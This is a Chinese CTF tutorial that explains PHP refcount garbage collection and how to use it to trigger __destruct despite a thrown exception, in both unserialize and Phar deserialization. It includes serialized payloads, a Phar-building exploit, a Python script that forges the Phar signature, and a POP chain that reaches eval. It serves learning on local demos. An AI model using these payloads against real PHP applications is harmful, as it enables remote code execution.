前言
上周战队知识分享时,H3018
大师傅讲了PHP GC
回收机制的利用,学会了如何去绕过抛出异常。
H3018
大师傅讲述的很清楚,大家有兴趣的可以去看一下哇,链接如下
https://www.bilibili.com/video/BV16g411s7CH/
这篇文章的话没有怎么涉及底层原理,只是将我自己的见解简述一下,希望能对正在学习PHP反序列化的师傅有所帮助。
GC
什么是GC
Gc
,全称Garbage collection
,即垃圾回收机制。
在PHP中有这个GC
机制
PHP中的GC
在PHP中,使用引用计数
和回收周期
来自动管理内存对象的,当一个变量被设置为NULL
,或者没有任何指针指向
时,它就会被变成垃圾,被GC
机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC
机制回收,在回收的过程中,它会自动触发_destruct
方法,而这也就是我们绕过抛出异常的关键点。
上文说到PHP是使用引用计数
来进行管理的,接下来简单说一下。
引用计数
当我们PHP创建一个变量时,这个变量会被存储在一个名为zval
的变量容器中。在这个zval
变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。
第一个字节名为is_ref
,是bool
值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&
来使用自定义引用,zval
变量容器中还有一个内部引用计数机制,来优化内存使用。
第二个字节是refcount
,它用来表示指向zval
变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。
看接下来的这个例子
<?php $a = "new string"; xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容 ?>
我们可以看到这里定义了一个变量$a
,生成了类型为String
和值为new string
的变量容器,而对于两个额外的字节,is_ref
和refcount
,我们这里可以看到是不存在引用的,所以is_ref
的值应该是false,而refcount
是表示变量个数的,那么这里就应该是1,接下来我们验证一下
接下来我们添加一个引用
<?php <?php $a="new string"; $b =&$a; xdebug_debug_zval('a'); ?>
按照之前的思路,每生成一个变量就有一个zval
记录其类型和值以及两个额外字节,那我们这里的话a的refcount
应该是1,is_ref
应该是true
,接下来我们验证一下
哎,结果不同于我们所想的,这是为什么呢?
因为同一变量容器被变量a和变量b关联,当没必要时,php不会去复制已生成的变量容器。
所以这一个zval
容器存储了a
和b
两个变量,就使得refcount
的值为2.
接下来说一下容器的销毁这个事。
变量容器在refcount
变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount
就会减1。
看个例子
<?php $a="new string"; $b =&$a; $c =&$b; xdebug_debug_zval('a'); unset($b,$c); xdebug_debug_zval('a'); ?>
按照刚刚所说,那么这里的首次输出的is_ref
应该是true
,refcount
为3。
第二次输出的is_ref
值是什么呢,我们可以看到引用$a
的变量$b
和$c
都被unset
了,所以这里的is_ref
应该是false
,也是因为unset
,这里的refcount
应该从3
变成了1
,接下来验证一下
GC在PHP 反序列化中的利用
GC
如果在PHP反序列化中生效,那它就会直接触发_destruct
方法,接下来以例子来演示。
demo
首先来看变量被unset
函数处理的情况
<?php highlight_file(__FILE__); error_reporting(0); class test{ public $num; public function __construct($num) { $this->num = $num; echo $this->num."__construct"."</br>"; } public function __destruct(){ echo $this->num."__destruct()"."</br>"; } } $a = new test(1); unset($a); $b = new test(2); $c = new test(3);
这个是一种方法,还有一种方法,如下。
我们知道当对象为NULL
时也是可以触发_destruct
的,所以我们这里的话来试一下反序列化一个数组,然后写入第一个索引为对象,将第二个赋值为0
,看一下能否触发。(原理我感觉应该是给第一个对象赋值为0键时,此时又将0赋值给了另一个,就相当于它失去了引用,被视为垃圾给回收了)
demo如下
<?php show_source(__FILE__); $flag = "flag"; class B { function __destruct() { global $flag; echo $flag; } } $a = unserialize($_GET['1']); throw new Exception('你想干什么');
我们可以看到这里在反序列化后就抛出异常了,如果按照正常的话,是无法触发_destruct
的,我们按照先前所想,这里先反序列化一个数组
<?php show_source(__FILE__); class B { function __destruct() { global $flag; echo $flag; } } $a=array(new B,0); echo serialize($a);
得到序列化文本如下
a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;}
数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1:int型;值为0
接下来我们按照我们所想,将第二个索引置空,就可以触发GC
回收机制,因此修改序列化文本为
a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
去尝试一下
成功触发,看到这里也就知道了大致的思路
这里可以看到也是成功提前触发了_destruct
,因为如果正常情况的话,有异常抛出就无法再触发_destruct
了,而这个思路也是我们在CTF中绕过异常的一个方法。
Gc在Phar反序列化中的利用
Gc在Phar反序列化中类似于PHP反序列化,也是当遇到抛出异常时,可以借用上面的方法来实现绕过,下面以demo来简单讲解一下。
demo
<?php highlight_file(__FILE__); class Test{ public $code; public function __destruct(){ eval($this -> code); } } $filename = $_GET['filename']; echo file_get_contents($filename); throw new Error("Garbage collection"); ?>
看到file_get_contents
函数和类,就想到Phar反序列化,所以接下来尝试借助file_get_contents
方法来进行反序列化(因为这里只是本地测试一下,所以不再设置文件上传那些,直接将生成的Phar文件放置本地进行利用了)。
构造Exp如下
<?php class test{ public $code= "phpinfo();"; } $a = new test(); $c = array($a,0); $b = new Phar('1.phar',0);//后缀名必须为phar $b->startBuffering();//开始缓冲 Phar 写操作 $b->setMetadata($c);//自定义的meta-data存入manifest $b->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测 $b->addFromString("test.txt","test");//添加要压缩的文件 $b->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘 ?>
注:需要去检查一下php.ini中的phar.readonly选项,如果是On,需要修改为Off。否则会报错,无法生成phar文件
小Tip: 这里如果有师傅不懂为什么这样写,可以学一下Phar反序列化,我之前也写过一篇关于Phar反序列化的文章,
师傅们可以参考一下https://tttang.com/archive/1732/
用010editor
打开phar文件
可以发现i:1
,按照我们之前的思路,我们这里将i:1
修改成i:0
就可以绕过抛出异常,但在Phar文件中,我们是不能任意修改数据的,否则就会因为签名错误而导致文件出错,不过签名是可以进行伪造的,所以我们先将1.phar
中的i:1
修改为i:0
,接下来利用脚本使得签名正确。
脚本如下
import gzip from hashlib import sha1 with open('D:\\phpStudy\\PHPTutorial\\WWW\html\\1.phar', 'rb') as file: f = file.read() s = f[:-28] # 获取要签名的数据 h = f[-8:] # 获取签名类型以及GBMB标识 newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) open("2.phar","wb").write(newf)
打开2.phar文件查看一下
变成i:0
且文件正常,接下来利用phar伪协议包含这个文件
$filename=phar://2.phar
可以发现成功输出了phpinfo。
CTF实战
例题1
这道题是H3018
大师傅在知识分享时的例题,在这里引用一下,源码如下
<?php highlight_file(__FILE__); error_reporting(0); class cg0{ public $num; public function __destruct(){ echo $this->num."hello __destruct"; } } class cg1{ public $string; public function __toString() { echo "hello __toString"; $this->string->flag(); } } class cg2{ public $cmd; public function flag(){ echo "hello __flag()"; eval($this->cmd); } } $a=unserialize($_GET['code']); throw new Exception("Garbage collection"); ?>
这道题的话思路比较简单
1、首先调用__destrcut,然后通过num参数触发__tostring
2、给string参数赋值,调用cg2的flag方法
3、给cmd参数赋值,实现RCE
但我们会发现这里首先要用到的就是__destruct
,而代码末尾带有throw new Exception("Garbage collection");
,即异常抛出,所以我们首先需要解决的就是如何绕过他,上文在讲GC中的PHP反序列化时
,demo已经给出了方法,即先传值给数组,而后将第二个索引置空即可,因此我们这里按照平常思路,先构造出payload
<?php highlight_file(__FILE__); error_reporting(0); class cg0{ public $num; } class cg1{ public $string; } class cg2{ public $cmd; } $a = new cg0(); $a->num=new cg1(); $a->num->string=new cg2(); $a->num->string->cmd="phpinfo();"; $b=array($a,0); echo serialize($b);
得到
a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}
将i:1
修改为i:0
a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}
接下来去尝试一下
成功触发phpinfo()